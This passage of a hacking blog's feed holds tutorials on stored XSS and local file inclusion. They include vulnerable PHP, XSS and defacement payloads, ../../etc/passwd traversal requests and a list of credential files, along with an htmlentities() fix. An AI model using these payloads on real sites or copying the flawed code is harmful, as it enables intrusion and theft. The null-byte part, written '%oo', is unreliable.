(&lt;b&gt;uRPF&lt;/b&gt;) is a Network Ingress  Filtering feature that defends Denial of Service Attacks which employ IP Source  Address Spoofing.&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;_D8e&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;3. DoS Defense System (&lt;b&gt;DDS&lt;/b&gt;) is able to block connection-based DoS attacks  and those with legitimate content but bad intent. A DDS can also address  both protocol attacks (such as Teardrop and Ping of death) and  rate-based attacks (such as ICMP floods and SYN floods).&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-_R_XkARrirs/UJ9bL2tHeMI/AAAAAAAAAtQ/ZdvHturS-FY/s1600/FIREWALL.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;226&quot; src=&quot;https://1.bp.blogspot.com/-_R_XkARrirs/UJ9bL2tHeMI/AAAAAAAAAtQ/ZdvHturS-FY/s320/FIREWALL.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/6986804227288807697/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2012/11/denial-of-service-attack.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/6986804227288807697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/6986804227288807697'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2012/11/denial-of-service-attack.html' title='DENIAL OF SERVICE ATTACK'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://4.bp.blogspot.com/-MAcLgfZd4CQ/UJ9lJhejqwI/AAAAAAAAAtw/YaEA3SzK6VE/s72-c/TCP.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-3178760772589893517</id><published>2011-12-08T21:39:00.000-08:00</published><updated>2013-06-09T11:25:08.786-07:00</updated><title type='text'>XSS ATTACK TO WEB APPLICATION</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;What is XSS ?&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Cross-site scripting&lt;/b&gt; (XSS) is a type of computer security vulnerability typically found in Web applications that enables attackers to inject client-side script into Web pages viewed by other users.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-dgaKh9gxtQk/TuWBNfwSudI/AAAAAAAAAmQ/JvMqG2VjftA/s1600/xss.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5685092173487454674&quot; src=&quot;http://3.bp.blogspot.com/-dgaKh9gxtQk/TuWBNfwSudI/AAAAAAAAAmQ/JvMqG2VjftA/s400/xss.jpg&quot; style=&quot;cursor: pointer; display: block; height: 180px; margin: 0px auto 10px; text-align: center; width: 280px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;In the previous post I&#39;ve discussed &lt;b&gt;&lt;i&gt;&lt;a href=&quot;http://www.xtrmhack.com/2010/12/cross-site-scripting.html&quot; style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Persistant&lt;/span&gt;&lt;/a&gt;&lt;/i&gt;&lt;/b&gt; (Stored) and &lt;b&gt;&lt;i&gt;&lt;a href=&quot;http://www.xtrmhack.com/2010/12/cross-site-scripting.html&quot; style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Non-persistant&lt;/span&gt;&lt;/a&gt;&lt;/i&gt;&lt;/b&gt; (Reflected) XSS, used to hijack the user session. Today I&#39;ll discuss how to attack the Web application through Stored Cross-site scripting.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Example:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;The following is the simple guestbook script where the users can put name and message that will be stored in the &lt;b&gt;guests&lt;/b&gt; table of the &lt;b&gt;&lt;i&gt;guestbook&lt;/i&gt;&lt;/b&gt; database and then displayed.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Script Code:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; font-family: inherit; height: 150px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;h1&amp;gt;Guestbook page:&amp;lt;/h1&amp;gt;&lt;br /&gt;&amp;lt;form action=&#39;guestbook.php&#39; method=&#39;post&#39;&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;&amp;lt;input type=&quot;text&quot; title=&quot;Enter your name&quot; name=&quot;name&quot; /&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;message&quot;&amp;gt;Your message:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;&amp;lt;textarea title=&quot;Enter your message&quot; name=&quot;message&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;&amp;lt;label title=&quot;Send your message&quot;&amp;gt;&lt;br /&gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Send&quot; /&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$con=mysql_connect(&quot;localhost&quot;,&quot;root&quot;,&quot;&quot;);&lt;br /&gt;mysql_select_db(&quot;guestbook&quot;, $con);&lt;br /&gt;if(isset($_POST[&#39;message&#39;]))&lt;br /&gt;{&lt;br /&gt;$name=$_POST[&#39;name&#39;];&lt;br /&gt;$message=$_POST[&#39;message&#39;];&lt;br /&gt;mysql_query(&quot;INSERT INTO guests VALUES (&#39;&#39;,&#39;$name&#39;,&#39;$message&#39;)&quot;);&lt;br /&gt;}&lt;br /&gt;$result=mysql_query(&quot;SELECT * FROM guests ORDER BY id DESC&quot;);&lt;br /&gt;while($row = mysql_fetch_array($result))&lt;br /&gt;{&lt;br /&gt;echo $row[&#39;name&#39;] . &quot; : &quot; . $row[&#39;message&#39;];&lt;br /&gt;echo &quot;&amp;lt;hr /&amp;gt;&quot;;&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;If I put name as &lt;i&gt;&lt;b&gt;Rajat&lt;/b&gt;&lt;/i&gt; and message as &lt;i style=&quot;font-weight: bold;&quot;&gt;Hello everybody !!! &lt;/i&gt;in the form, it would look like this :&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-XQiBdZAjAeM/TuHLSkaqDEI/AAAAAAAAAlI/y9zCaJiDfKo/s1600/xss-1.png&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5684047724591844418&quot; src=&quot;http://4.bp.blogspot.com/-XQiBdZAjAeM/TuHLSkaqDEI/AAAAAAAAAlI/y9zCaJiDfKo/s400/xss-1.png&quot; style=&quot;cursor: pointer; display: block; height: 160px; margin: 0px auto 10px; text-align: center; width: 280px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Now a malicious attacker put the following JavaScript snippet as part of the guestbook message which will result an alert box by the browser:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Script Code:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 25px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;script&amp;gt;alert(&quot;Guestbook page XSSed !!!&quot;)&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-5FlRdciWKfg/TuHOh4M8vHI/AAAAAAAAAlU/DBZw0e7_0p4/s1600/xss2.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5684051286135979122&quot; src=&quot;http://3.bp.blogspot.com/-5FlRdciWKfg/TuHOh4M8vHI/AAAAAAAAAlU/DBZw0e7_0p4/s400/xss2.jpg&quot; style=&quot;cursor: pointer; display: block; height: 100px; margin: 0px auto 10px; text-align: center; width: 300px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Which means the attacker has been able to insert a script in the application that is later executed in the context of another user.&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Moreover the attacker can deface the website by putting the following code which will open a new browser window consisting the defacement page.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small; font-weight: bold;&quot;&gt;Script Code:&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 50px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&lt;br /&gt;window.open(&quot;www.attacker.com/deface.html&quot;, &quot;_self&quot;);&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small; font-weight: bold;&quot;&gt;Protection :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;1. The script used in the guestbook page is not able to sanitize the inputs, most importantly the control characters  like (&amp;lt; , &amp;gt;). That&#39;s why instead of displaying those inputs, it is executing them. In order to sanitize the inputs properly we can use the &lt;b&gt;&lt;i&gt;htmlentities()&lt;/i&gt;&lt;/b&gt; function converts characters to HTML entities as follows:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 40px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 500px;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;$name=htmlentities($_POST[&#39;name&#39;]);&lt;br /&gt;$message=htmlentities($_POST[&#39;message&#39;]);&lt;/span&gt;&lt;/pre&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Now if the attacker put the previous JavaScript, it will be displayed without being executed by the browser like this:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-OkvMfA2ZAj8/TuHnJh4Lx2I/AAAAAAAAAlg/mLdjy8rfJKA/s1600/xss3.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5684078355617138530&quot; src=&quot;http://1.bp.blogspot.com/-OkvMfA2ZAj8/TuHnJh4Lx2I/AAAAAAAAAlg/mLdjy8rfJKA/s400/xss3.jpg&quot; style=&quot;cursor: pointer; display: block; height: 160px; margin: 0px auto 10px; text-align: center; width: 280px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;2. &lt;b&gt;&lt;i&gt;&lt;a href=&quot;http://www.acunetix.com/cross-site-scripting/scanner.htm&quot; style=&quot;color: blue;&quot;&gt;Acunetix&lt;/a&gt;&lt;/i&gt;&lt;/b&gt; Web Vulnerability Scanner (WVS) Free Edition offers the functionality for anyone who wants to test their own application for Cross Site Scripting. &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-Ud7Q9MZWbzY/TuTL4L1OcdI/AAAAAAAAAmE/ggXO8nrd4pA/s1600/Acunetix_1.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5684892795757556178&quot; src=&quot;http://1.bp.blogspot.com/-Ud7Q9MZWbzY/TuTL4L1OcdI/AAAAAAAAAmE/ggXO8nrd4pA/s400/Acunetix_1.jpg&quot; style=&quot;cursor: pointer; display: block; height: 110px; margin: 0px auto 10px; text-align: center; width: 290px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small; font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/3178760772589893517/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2011/12/xss-attack-to-web-application.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/3178760772589893517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/3178760772589893517'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2011/12/xss-attack-to-web-application.html' title='XSS ATTACK TO WEB APPLICATION'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-dgaKh9gxtQk/TuWBNfwSudI/AAAAAAAAAmQ/JvMqG2VjftA/s72-c/xss.jpg" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-4743920466775387977</id><published>2011-11-30T18:10:00.000-08:00</published><updated>2013-06-09T11:26:39.854-07:00</updated><title type='text'>LOCAL FILE INCLUSION</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;ul style=&quot;font-family: inherit;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;What is Local File Inclusion?&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Local File Inclusion&lt;/b&gt; (LFI) is the process of including files on a server through the web browser. This vulnerability occurs when a page include is not properly sanitized, and allows directory traversal characters to be injected. &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-mUvDUDAnw_s/Ttblh9pvk1I/AAAAAAAAAk8/l8-dq5xJZVY/s1600/LFI.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5680980351622550354&quot; src=&quot;http://3.bp.blogspot.com/-mUvDUDAnw_s/Ttblh9pvk1I/AAAAAAAAAk8/l8-dq5xJZVY/s400/LFI.jpg&quot; style=&quot;cursor: pointer; display: block; height: 118px; margin: 0px auto 10px; text-align: center; width: 294px;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;A typical example of a PHP script vulnerable to LFI is as follows:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 120px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 220px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&amp;lt;?php&lt;br /&gt;$page = $_GET[&#39;page&#39;];&lt;br /&gt;if(isset($page))&lt;br /&gt;include(&quot;files/$page&quot;);&lt;br /&gt;else&lt;br /&gt;include(&quot;index.php&quot;);&lt;br /&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;A legitimate request made to the script could look like this:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 30px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 450px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt; http://victim.com/index.php?page=example.php&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;This is of little use to a potential attacker, who is more likely to be  interested in the files outside the &lt;b&gt;&lt;i&gt;files/&lt;/i&gt;&lt;/b&gt; directory. To do this, an  attacker could use LFI. The simplest example would be:&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 30px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 450px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt; http://victim.com/index.php?page=../../../../etc/passwd&lt;/span&gt;&lt;/pre&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;The repeated &lt;b&gt;&lt;i&gt;../&lt;/i&gt;&lt;/b&gt; characters has caused &lt;b&gt;&lt;i&gt;include()&lt;/i&gt;&lt;/b&gt; to traverse to the root directory, and then include the Unix password file &lt;b&gt;&lt;i&gt;/etc/passwd&lt;/i&gt;&lt;/b&gt;. Unix /etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;You may also wish to peruse around in other directories, such as:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 120px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 220px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;/etc/passwd&lt;br /&gt;/etc/shadow&lt;br /&gt;/etc/group&lt;br /&gt;/etc/security/group&lt;br /&gt;/etc/security/passwd&lt;br /&gt;/etc/security/user&lt;br /&gt;/etc/security/environ&lt;br /&gt;/etc/security/limits&lt;br /&gt;/usr/lib/security/mkuser.default&lt;/span&gt;&lt;/pre&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Poison Null Byte Attacks:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Every now and again, though, the website may output that /etc/passwd/ cannot be found simply because the server is interpreting the location as if it is &lt;b&gt;&lt;i&gt;/etc/passwd.php/&lt;/i&gt;&lt;/b&gt;. To correct this, we need to apply what is called a Null Byte. This bit of code looks like: &lt;b&gt;&lt;i&gt;%oo&lt;/i&gt;&lt;/b&gt; (percent double zero). In SQL, it means 0, but everywhere else in coding, it is interpreted similar to a black hole, such as /dev/null/. This code eliminates the use of an extension. The code would appear as &lt;b&gt;&lt;i&gt;/etc/passwd&lt;/i&gt;&lt;/b&gt; when entered into the address bar.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre class=&quot;alt2&quot; style=&quot;border: 1px inset; height: 30px; margin: 0pt; overflow: auto; padding: 6px; text-align: left; width: 465px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: small;&quot;&gt;http://victim.com/index.php?page=../../../../etc/passwd%oo&lt;/span&gt;&lt;/pre&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: 